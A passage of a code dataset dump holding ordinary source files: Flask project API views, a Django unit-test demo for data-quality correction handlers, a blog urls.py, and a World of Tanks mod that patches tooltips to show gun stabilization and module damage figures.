methods=('PUT',))\n@jwt_required\n@use_kwargs(project_schema)\n@marshal_with(project_schema)\ndef update_project(slug, **kwargs):\n project = Project.query.filter_by(\n slug=slug, author_id=current_user.profile.id).first()\n if not project:\n raise InvalidUsage.project_not_found()\n project.update(updatedAt=dt.datetime.utcnow(), **kwargs)\n project.save()\n return project\n\n\n@blueprint.route('/api/projects/', methods=('DELETE',))\n@jwt_required\ndef delete_project(slug):\n project = Project.query.filter_by(\n slug=slug, author_id=current_user.profile.id).first()\n project.delete()\n return '', 200\n\n\n@blueprint.route('/api/projects/', methods=('GET',))\n@jwt_optional\n@marshal_with(project_schema)\ndef get_project(slug):\n project = Project.query.filter_by(slug=slug).first()\n if not project:\n raise InvalidUsage.project_not_found()\n return project\n\n\n@blueprint.route('/api/projects//favorite', methods=('POST',))\n@jwt_required\n@marshal_with(project_schema)\ndef favorite_an_project(slug):\n profile = current_user.profile\n project = Project.query.filter_by(slug=slug).first()\n if not project:\n raise InvalidUsage.project_not_found()\n project.favourite(profile)\n project.save()\n return project\n\n\n@blueprint.route('/api/projects//favorite', methods=('DELETE',))\n@jwt_required\n@marshal_with(project_schema)\ndef unfavorite_an_project(slug):\n profile = current_user.profile\n project = Project.query.filter_by(slug=slug).first()\n if not project:\n raise InvalidUsage.project_not_found()\n project.unfavourite(profile)\n project.save()\n return project\n\n\n@blueprint.route('/api/projects/feed', methods=('GET',))\n@jwt_required\n@use_kwargs({'limit': fields.Int(), 'offset': fields.Int()})\n@marshal_with(projects_schema)\ndef projects_feed(limit=20, offset=0):\n return Project.query.join(current_user.profile.follows). \\\n order_by(Project.createdAt.desc()).offset(offset).limit(limit).all()\n\n\n@blueprint.route('/api/projects//fields', methods=('GET',))\n@jwt_optional\n@marshal_with(field_schemas)\ndef get_project_fields(slug):\n project = Project.query.filter_by(slug=slug).first()\n if not project:\n raise InvalidUsage.project_not_found()\n return project.fields\n\n\n######\n# Tags\n######\n\n@blueprint.route('/api/tags', methods=('GET',))\ndef get_tags():\n return jsonify({'tags': [tag.tagname for tag in Tags.query.all()]})\n","repo_name":"teliportme/remixVR-moved","sub_path":"backend/remixvr/project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4453,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"18"} +{"seq_id":"6220875517","text":"import json\n\nimport mock\nimport pytest\nfrom django.test import TestCase\nfrom rest_framework.reverse import reverse\n\nfrom datamanage.pro.dataquality.models.audit import DataQualityAuditRule, DataQualityAuditRuleTemplate\nfrom datamanage.pro.dataquality.models.correction import DataQualityCorrectHandlerTemplate\nfrom datamanage.pro.dataquality.correction_views import DataQualityCorrectConfigViewSet\nfrom tests.utils import UnittestClient\n\n\n@pytest.mark.usefixtures('django_db_setup', 'patch_auth_check')\nclass CRUDDemoTest(TestCase):\n \"\"\"\n 增删改查类接口单元测试Demo\n \"\"\"\n\n databases = \"__all__\"\n primary_key_id = None\n\n def setUp(self):\n obj = DataQualityCorrectHandlerTemplate.objects.create(\n handler_template_name='demo_filling',\n handler_template_alias='Demo Filling',\n handler_template_type='fulling',\n handler_template_config='{}',\n active=1,\n created_by='unittest',\n description='demo',\n )\n self.primary_key = obj.id\n\n def test_create_correction_handler(self):\n create_params = {\n 'handler_template_name': 'demo_filling',\n 'handler_template_alias': 'Demo Filling',\n 'handler_template_type': 'filling',\n 'handler_template_config': '{}',\n 'active': 1,\n 'created_by': 'unittest',\n 'description': 'demo',\n }\n\n # 单元测试客户端,用户请求reverse生成的内部接口,且封装后能返回与API模块调用时相同的Response\n client = UnittestClient()\n # 通过reverse函数反向获取请求的URL,这里创建和列表接口是在注册的资源名称后面加\"-list\"后缀\n url = reverse('data_quality_correct_handlers-list')\n response = client.post(url, create_params)\n\n # 两种Assert方式都可以\n self.assertTrue(response.is_success())\n assert response.data.get('id') is not None\n\n def test_update_correction_handler(self):\n update_params = {\n 'handler_template_config': '{\"is_demo\": trues}',\n }\n client = UnittestClient()\n # 针对详情类资源(retrieve, update, patch, put, delete等方法),在资源名称后面加\"-detail\"后缀\n url = reverse('data_quality_correct_handlers-detail', [self.primary_key])\n response = client.patch(url, update_params)\n assert response.is_success() is True\n\n def test_delete_correction_handler(self):\n client = UnittestClient()\n url = reverse('data_quality_correct_handlers-detail', [self.primary_key])\n response = client.delete(url)\n assert response.is_success() is True\n\n\nclass FunctionDemoTest(TestCase):\n def test_function_in_model(self):\n \"\"\"\n 测试Model中的函数\n \"\"\"\n rule_template = DataQualityAuditRuleTemplate.objects.create(\n template_name='custom',\n template_alias='custom',\n template_config='{}',\n active=1,\n description='custom',\n )\n\n audit_rule = DataQualityAuditRule.objects.create(\n data_set_id='591_datamonitor_clean_test_data',\n bk_biz_id=591,\n rule_name='自定义规则',\n rule_template=rule_template,\n rule_config='''[\n {\n \"function\": \"greater_or_equal\",\n \"operation\": null,\n \"constant\": {\n \"constant_value\": \"10\",\n \"constant_type\": \"float\"\n },\n \"metric\": {\n \"metric_type\": \"data_flow\",\n \"metric_name\": \"output_count\",\n \"metric_field\": \"\"\n }\n }\n ]''',\n rule_config_alias='',\n description='demo',\n )\n rule_config_alias = audit_rule.get_rule_config_alias()\n assert rule_config_alias != ''\n\n @mock.patch('datamanage.utils.api.meta.MetaApi.result_tables.retrieve')\n def test_function_in_viewset(self, mock_metaapi_result):\n \"\"\"\n 测试ViewSet中的函数\n \"\"\"\n mock_metaapi_result.return_value = {\n 'processing_type': 'stream',\n 'fields': [\n {\n 'field_name': 'timestamp',\n 'field_type': 'timestamp',\n },\n {\n 'field_name': 'client_ip',\n 'field_type': 'string',\n },\n {\n 'field_name': 'uid',\n 'field_type': 'string',\n },\n {\n 'field_name': 'field1',\n 'field_type': 'int',\n },\n ],\n }\n\n params = json.loads(\n '''{\n \"data_set_id\": \"591_test_correction\",\n \"source_sql\": \"SELECT province, client_ip, uid, country, isp, metric2, metric1, time, uid_type, \\\n wrong_field2 FROM 591_datamonitor_clean_test_data\",\n \"correct_configs\": [\n {\n \"field\": \"isp\",\n \"correct_config_item_id\": null,\n \"correct_config_detail\": {\n \"rules\": [\n {\n \"condition\": {\n \"condition_name\": \"custom_sql_condition\",\n \"condition_type\": \"custom\",\n \"condition_value\": \"uid_type = 3 AND uid = 'user4'\"\n },\n \"handler\": {\n \"handler_name\": \"fixed_filling\",\n \"handler_type\": \"filling\",\n \"handler_value\": \"100\"\n }\n }\n ],\n \"output\": {\n \"generate_new_field\": false,\n \"new_field\": \"\"\n }\n },\n \"correct_config_alias\": null\n },\n {\n \"field\": \"client_ip\",\n \"correct_config_item_id\": null,\n \"correct_config_detail\": {\n \"rules\": [\n {\n \"condition\": {\n \"condition_name\": \"ip_verify\",\n \"condition_type\": \"builtin\",\n \"condition_value\": \"udf_regexp(client_ip,\\\n '^[0-9]{1,3}\\\\\\\\.[0-9]{1,3}\\\\\\\\.[0-9]{1,3}\\\\\\\\.[0-9]{1,3}$') = 0\"\n },\n \"handler\": {\n \"handler_name\": \"fixed_filling\",\n \"handler_type\": \"filling\",\n \"handler_value\": \"127.0.0.1\"\n }\n }\n ],\n \"output\": {\n \"generate_new_field\": false,\n \"new_field\": \"\"\n }\n },\n \"correct_config_alias\": null\n }\n ]\n }'''\n )\n view_set = DataQualityCorrectConfigViewSet()\n sql = view_set.generate_correct_sql(**params)\n assert sql.startswith('SELECT')\n","repo_name":"Tencent/bk-base","sub_path":"src/api/datamanage/tests/demo/test_class_demo.py","file_name":"test_class_demo.py","file_ext":"py","file_size_in_byte":7660,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"18"} +{"seq_id":"7233076712","text":"from django.urls import path\n\n\nfrom . import views\n\n\napp_name = 'blog'\n\nurlpatterns = [\n path('new/', views.ArticleCreateView.as_view(), name='article_new'),\n path('/edit/', views.ArticleUpdateView.as_view(), name=\"article_edit\"),\n path('/delete/', views.ArticleDeleteView.as_view(), name='article_delete'),\n \n \n path('',views.post_list,name=\"post_list\"),\n path('/',views.post_detail,name=\"post_detail\"),\n path('comment/reply/', views.reply_page, name=\"reply\"),\n path('tag//',views.post_list, name='post_tag'), \n]\n\n","repo_name":"khashimov23/Yaqeen-Blog","sub_path":"articles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"32009671578","text":"# -*- coding: utf-8 -*-\nimport math\n\nfrom CurrentVehicle import g_currentVehicle\nfrom goodies.goodie_constants import GOODIE_STATE\nfrom gui.Scaleform.daapi.view.battle.shared.consumables_panel import ConsumablesPanel\nfrom gui.Scaleform.daapi.view.lobby.storage import storage_helpers\nfrom gui.shared.items_parameters import formatters, functions\nfrom gui.shared.tooltips import battle_booster, formatters as formatters1\nfrom gui.shared.tooltips.vehicle import VehicleAdvancedParametersTooltipData\nfrom gui.shared.tooltips.module import CommonStatsBlockConstructor as CommonStatsBlockConstructor1, ModuleTooltipBlockConstructor\nfrom gui.shared.tooltips.shell import CommonStatsBlockConstructor\nfrom helpers import getLanguageCode\nfrom helpers.i18n import makeString as p__makeString\nfrom gui.shared.gui_items import GUI_ITEM_TYPE\nfrom gui.impl import backport\nfrom gui.impl.gen import R\nfrom gui.shared.tooltips.module import StatusBlockConstructor\n\ni18n = {\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_StabBonus_Text' : 'Stabilization bonus',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Total stabilization',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'When maximum speed',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'When turning vehicle',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'When turning turret',\n 'UI_TOOLTIPS_modulesText_Text' : \"[To modules] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [To modules]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [To modules] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Tracer]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Shell]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'm/sec.',\n}\nif 'ru' in getLanguageCode().lower():\n i18n = {\n 'UI_TOOLTIPS_StabBonus_Text' : 'Бонус стабилизации',\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Общая стабилизация',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'при макс. скорости',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'при развороте танка',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'при повороте башни',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_modulesText_Text' : \"[По модулям] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [По модулям]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [По модулям] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Трассер]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Снаряд]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'м/сек.',\n }\nif 'de' in getLanguageCode().lower():\n i18n = {\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_StabBonus_Text' : 'Stabilierungs Bonus',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Totale Stabilisierung',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'bei max. Geschwindigkeit',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'bei Wannendrehung',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'bei Turmdrehung',\n 'UI_TOOLTIPS_modulesText_Text' : \"[An Modulen] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [An Modulen]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [An Modulen] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Flugbahn]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Shell]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'm/sek.',\n}\nif 'es' in getLanguageCode().lower():\n i18n = {\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_StabBonus_Text' : 'Bono de estabilizacion',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Estabilizacion total',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'Cuando velocidad max',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'Al girar el tanque',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'Al girar la torreta',\n 'UI_TOOLTIPS_modulesText_Text' : \"[A modulos] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [A modulos]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [A modulos] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Trazador]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Bala]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'm/seg.',\n }\nif 'pl' in getLanguageCode().lower():\n i18n = {\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_StabBonus_Text' : 'Bonus stabilizacyjna',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Calkowita stabilizacja',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'Przy max predkosci',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'Przy obracaniu zbiornika',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'Przy zawracaniu wiezy',\n 'UI_TOOLTIPS_modulesText_Text' : \"[Do modulow] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [Do modulow]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [Do modulow] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Tracer]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Kula]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'm/sec.',\n}\nif 'hu' in getLanguageCode().lower():\n i18n = {\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_StabBonus_Text' : 'Stabilizacios bonusz',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Teljes stabilizacio',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'Amikor a max. sebesseg',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'A tank megforditasakor',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'A torony forgatasakor',\n 'UI_TOOLTIPS_modulesText_Text' : \"[A modulokhoz] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [A modulokhoz]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [A modulokhoz] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Nyomjelzo]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Hej]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'm/sec.',\n}\nif 'cn' in getLanguageCode().lower() or 'zh' in getLanguageCode().lower() :\n i18n = {\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_StabBonus_Text' : 'Stabilization bonus',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Total stabilization',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'When maximum speed',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'When turning vehicle',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'When turning turret',\n 'UI_TOOLTIPS_modulesText_Text' : \"[To modules] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [To modules]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [To modules] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Tracer]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Shell]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'm/sec.',\n}\nif 'tr' in getLanguageCode().lower():\n i18n = {\n 'UI_TOOLTIPS_StabBonus_ColorPositive' : '#28F09C',\n 'UI_TOOLTIPS_StabBonus_ColorNeutral' : '#7CD606',\n 'UI_TOOLTIPS_Stabilization_Color' : '#FFD700',\n 'UI_TOOLTIPS_MovementSpeed_Color' : '#8378FC',\n 'UI_TOOLTIPS_RotatingVehicle_Color' : '#1CC6D9',\n 'UI_TOOLTIPS_RotatingTurret_Color' : '#F200DA',\n 'UI_TOOLTIPS_StabBonus_Text' : 'Stabilizasyon Bonusu',\n 'UI_TOOLTIPS_Stabilization_Text' : 'Toplam stabilizasyon',\n 'UI_TOOLTIPS_MovementSpeed_Text' : 'Maksimum hızdayken',\n 'UI_TOOLTIPS_RotatingVehicle_Text' : 'Tank donerken',\n 'UI_TOOLTIPS_RotatingTurret_Text' : 'Taret donerken',\n 'UI_TOOLTIPS_modulesText_Text' : \"[Modullere] {}\",\n 'UI_TOOLTIPS_modulesTextTooltip_Text' : \" [Modullere]\",\n 'UI_TOOLTIPS_modulesTextTooltipBattle_Text': \"%s, [Modullere] %s\",\n 'UI_TOOLTIPS_tracerSpeedText_Text' : '[Iz]',\n 'UI_TOOLTIPS_shellSpeedText_Text' : '[Mermi]',\n 'UI_TOOLTIPS_speedMsec_Text' : 'm/sn.',\n}\n\n\ndef createStorageDefVO(itemID, title, description, count, price, image, imageAlt, itemType='', nationFlagIcon='', enabled=True, available=True, contextMenuId='', additionalInfo='', actionButtonLabel=None, active=GOODIE_STATE.INACTIVE, upgradable=False, upgradeButtonIcon=None, upgradeButtonTooltip='', extraParams=(), specializations=()):\n result = oldCreateStorageDefVO(itemID, title, description, count, price, image, imageAlt, itemType, nationFlagIcon, enabled, available, contextMenuId, additionalInfo, actionButtonLabel, active, upgradable, upgradeButtonIcon, upgradeButtonTooltip, extraParams, specializations)\n #if 'price' in result and 'count' in result:\n b = []\n for priced in result['price']['price']:\n b.append((priced[0], priced[1] * result['count']))\n result['price']['price'] = tuple(b)\n return result\n\n\ndef makeShellTooltip(*args):\n result = oldMakeShellTooltip(*args)\n descriptor = args[1]\n damage = backport.getNiceNumberFormat(descriptor.damage[0])\n damageModule = i18n['UI_TOOLTIPS_modulesTextTooltipBattle_Text'] % (damage, backport.getNiceNumberFormat(descriptor.damage[1]))\n return result.replace(damage, damageModule)\n\n\ndef getFormattedParamsList(descriptor, parameters, excludeRelative=False):\n params = oldGetFormattedParamsList(descriptor, parameters, excludeRelative)\n result = []\n for param in params:\n if 'caliber' in param:\n result.append(param)\n result.append(('avgDamage', i18n['UI_TOOLTIPS_modulesText_Text'].format(backport.getNiceNumberFormat(descriptor.damage[1]))))\n else:\n result.append(param)\n return result\n\n\ndef construct(self):\n result = old_construct(self)\n block = []\n avgDamage = backport.text(R.strings.menu.moduleInfo.params.dyn('avgDamage')())\n for pack in result:\n if 'name' in pack['data'] and avgDamage in pack['data']['name']:\n block.append(pack)\n block.append(self._packParameterBlock(avgDamage, \"%s\" % backport.getNiceNumberFormat(self.shell.descriptor.damage[1]), p__makeString(formatters.measureUnitsForParameter('avgDamage')) + i18n['UI_TOOLTIPS_modulesTextTooltip_Text']))\n else:\n block.append(pack)\n vehicle = g_currentVehicle.item\n module = vehicle.gun\n bonuses = p__getStabFactors(vehicle, module)\n for bonus in bonuses:\n block.append(self._packParameterBlock(bonus[0], bonus[1], ''))\n return block\n\n\ndef p__getAdditiveShotDispersionFactor(vehicle):\n additiveShotDispersionFactor = vehicle.descriptor.miscAttrs['additiveShotDispersionFactor']\n for crewman in vehicle.crew:\n if crewman[1] is None:\n continue\n if 'gunner_smoothTurret' in crewman[1].skillsMap:\n additiveShotDispersionFactor -= crewman[1].skillsMap['gunner_smoothTurret'].level * 0.00075\n if 'driver_smoothDriving' in crewman[1].skillsMap:\n additiveShotDispersionFactor -= crewman[1].skillsMap['driver_smoothDriving'].level * 0.0004\n # return additiveShotDispersionFactor\n for item in vehicle.battleBoosters.installed.getItems():\n if item and 'imingStabilizer' in item.name:\n additiveShotDispersionFactor -= 0.05\n for item in vehicle.optDevices.installed.getItems():\n if item and 'imingStabilizer' in item.name:\n if 'pgraded' in item.name:\n additiveShotDispersionFactor -= 0.25\n elif 'mproved' in item.name:\n additiveShotDispersionFactor -= 0.275\n else:\n additiveShotDispersionFactor -= 0.2\n return additiveShotDispersionFactor\n\n\ndef p__getStabFactors(vehicle, module, inSettings=False):\n typeDescriptor = vehicle.descriptor\n factors = functions.getVehicleFactors(vehicle)\n additiveFactor = p__getAdditiveShotDispersionFactor(vehicle)\n chassisShotDispersionFactorsMovement, chassisShotDispersionFactorsRotation = typeDescriptor.chassis.shotDispersionFactors\n gunShotDispersionFactorsTurretRotation = module.descriptor.shotDispersionFactors['turretRotation']\n chassisShotDispersionFactorsMovement /= factors['vehicle/rotationSpeed']\n gunShotDispersionFactorsTurretRotation /= factors['turret/rotationSpeed']\n vehicleRSpeed = turretRotationSpeed = 0\n maxTurretRotationSpeed = typeDescriptor.turret.rotationSpeed\n vehicleRSpeedMax = typeDescriptor.physics['rotationSpeedLimit']\n vehicleSpeed = typeDescriptor.siegeVehicleDescr.physics['speedLimits'][0] if typeDescriptor.isWheeledVehicle and hasattr(typeDescriptor, 'siegeVehicleDescr') else typeDescriptor.physics['speedLimits'][0]\n vehicleSpeed *= 3.6\n vehicleSpeedMax = 99.0 if typeDescriptor.isWheeledVehicle and hasattr(typeDescriptor, 'siegeVehicleDescr') else 70.0\n\n vehicleMovementFactor = vehicleSpeed * chassisShotDispersionFactorsMovement\n vehicleMovementFactor *= vehicleMovementFactor\n vehicleMovementFactorMax = vehicleSpeedMax * chassisShotDispersionFactorsMovement\n vehicleMovementFactorMax *= vehicleMovementFactorMax\n\n vehicleRotationFactorMax = vehicleRSpeedMax * chassisShotDispersionFactorsRotation\n vehicleRotationFactorMax *= vehicleRotationFactorMax\n vehicleRotationFactor = vehicleRSpeed * chassisShotDispersionFactorsRotation\n vehicleRotationFactor *= vehicleRotationFactor\n\n turretRotationFactorMax = maxTurretRotationSpeed * gunShotDispersionFactorsTurretRotation\n turretRotationFactorMax *= turretRotationFactorMax\n turretRotationFactor = turretRotationSpeed * gunShotDispersionFactorsTurretRotation\n turretRotationFactor *= turretRotationFactor\n\n idealFactorMax = vehicleMovementFactorMax + vehicleRotationFactorMax + turretRotationFactorMax\n\n baseMax = round(math.sqrt(idealFactorMax), 1)\n baseMovementSpeed = round(math.sqrt(vehicleMovementFactor), 2)\n baseRotatingVehicle = round(math.sqrt(vehicleRotationFactorMax), 2)\n baseRotatingTurret = round(math.sqrt(turretRotationFactorMax), 2)\n\n resultMax = round(math.sqrt(idealFactorMax * (additiveFactor ** 2)), 1)\n resultMovementSpeed = round(math.sqrt(vehicleMovementFactor * (additiveFactor ** 2)), 2)\n resultRotatingVehicle = round(math.sqrt(vehicleRotationFactorMax * (additiveFactor ** 2)), 2)\n resultRotatingTurret = round(math.sqrt(turretRotationFactorMax * (additiveFactor ** 2)), 2)\n bonuses = (i18n['UI_TOOLTIPS_StabBonus_Text'], '+%.2f%%' % (i18n['UI_TOOLTIPS_StabBonus_ColorPositive'] if additiveFactor < 1 else i18n['UI_TOOLTIPS_StabBonus_ColorNeutral'], 100 - additiveFactor / 0.01))\n if baseMax - resultMax > 0:\n bonuses1 = ('%s %.2f%% (+%.2f%%)' % (i18n['UI_TOOLTIPS_Stabilization_Text'], 100 - baseMax, i18n['UI_TOOLTIPS_StabBonus_ColorPositive'], baseMax - resultMax), '%.2f%%' % (i18n['UI_TOOLTIPS_Stabilization_Color'], 100 - resultMax))\n bonuses2 = ('%s %.2f%% (+%.2f%%)' % (i18n['UI_TOOLTIPS_MovementSpeed_Text'], resultMovementSpeed, i18n['UI_TOOLTIPS_StabBonus_ColorPositive'], baseMovementSpeed - resultMovementSpeed), '%.2f%%' % (i18n['UI_TOOLTIPS_MovementSpeed_Color'], baseMovementSpeed))\n bonuses3 = ('%s %.2f%% (+%.2f%%)' % (i18n['UI_TOOLTIPS_RotatingVehicle_Text'], resultRotatingVehicle, i18n['UI_TOOLTIPS_StabBonus_ColorPositive'], baseRotatingVehicle - resultRotatingVehicle), '%.2f%%' % (i18n['UI_TOOLTIPS_RotatingVehicle_Color'], baseRotatingVehicle))\n bonuses4 = ('%s %.2f%% (+%.2f%%)' % (i18n['UI_TOOLTIPS_RotatingTurret_Text'], resultRotatingTurret, i18n['UI_TOOLTIPS_StabBonus_ColorPositive'], baseRotatingTurret - resultRotatingTurret), '%.2f%%' % (i18n['UI_TOOLTIPS_RotatingTurret_Color'], baseRotatingTurret))\n else:\n bonuses1 = (i18n['UI_TOOLTIPS_Stabilization_Text'], '%.2f%%' % (i18n['UI_TOOLTIPS_Stabilization_Color'], 100 - resultMax))\n bonuses2 = (i18n['UI_TOOLTIPS_MovementSpeed_Text'], '%.2f%%' % (i18n['UI_TOOLTIPS_MovementSpeed_Color'], resultMovementSpeed))\n bonuses3 = (i18n['UI_TOOLTIPS_RotatingVehicle_Text'], '%.2f%%' % (i18n['UI_TOOLTIPS_RotatingVehicle_Color'], resultRotatingVehicle))\n bonuses4 = (i18n['UI_TOOLTIPS_RotatingTurret_Text'], '%.2f%%' % (i18n['UI_TOOLTIPS_RotatingTurret_Color'], resultRotatingTurret))\n if inSettings:\n return resultMax\n if additiveFactor < 1:\n return bonuses1, bonuses4, bonuses3, bonuses2, bonuses\n return bonuses1, bonuses4, bonuses3, bonuses2\n\n\ndef construct1(self):\n result = list(old1_construct(self))\n module = self.module\n vehicle = self.configuration.vehicle\n if module.itemTypeID == GUI_ITEM_TYPE.GUN:\n bonuses = p__getStabFactors(vehicle, module)\n for bonus in bonuses:\n result.append(formatters1.packTextParameterBlockData(name=bonus[0], value=bonus[1], valueWidth=self._valueWidth, padding=formatters1.packPadding(left=-5)))\n return result\n\ndef _packBlocks(self, paramName):\n blocks = old_packBlocks(self, paramName)\n if paramName in ('relativePower', 'vehicleGunShotDispersion', 'aimingTime'):\n vehicle = g_currentVehicle.item\n module = vehicle.gun\n bonuses = p__getStabFactors(vehicle, module)\n result = []\n found = False\n for block in blocks:\n result.append(block)\n if 'blocksData' in block['data']:\n if found:\n continue\n for linkage in block['data']['blocksData']:\n if 'TooltipTextBlockUI' in linkage['linkage']:\n found = True\n for bonus in bonuses:\n result.append(formatters1.packTextParameterBlockData(name='%s: %s' %(bonus[1], bonus[0]), value='', valueWidth=0, padding=formatters1.packPadding(left=59, right=20)))\n break\n return result\n return blocks\n\ndef StatusBlockConstructor_getStatus(self):\n self.MAX_INSTALLED_LIST_LEN = 1000\n return old_StatusBlockConstructor_getStatus(self)\n\noldCreateStorageDefVO = storage_helpers.createStorageDefVO\noldMakeShellTooltip = ConsumablesPanel._ConsumablesPanel__makeShellTooltip\noldGetFormattedParamsList = formatters.getFormattedParamsList\nold_construct = CommonStatsBlockConstructor.construct\nold1_construct = CommonStatsBlockConstructor1.construct\nold_packBlocks = VehicleAdvancedParametersTooltipData._packBlocks\nold_StatusBlockConstructor_getStatus = 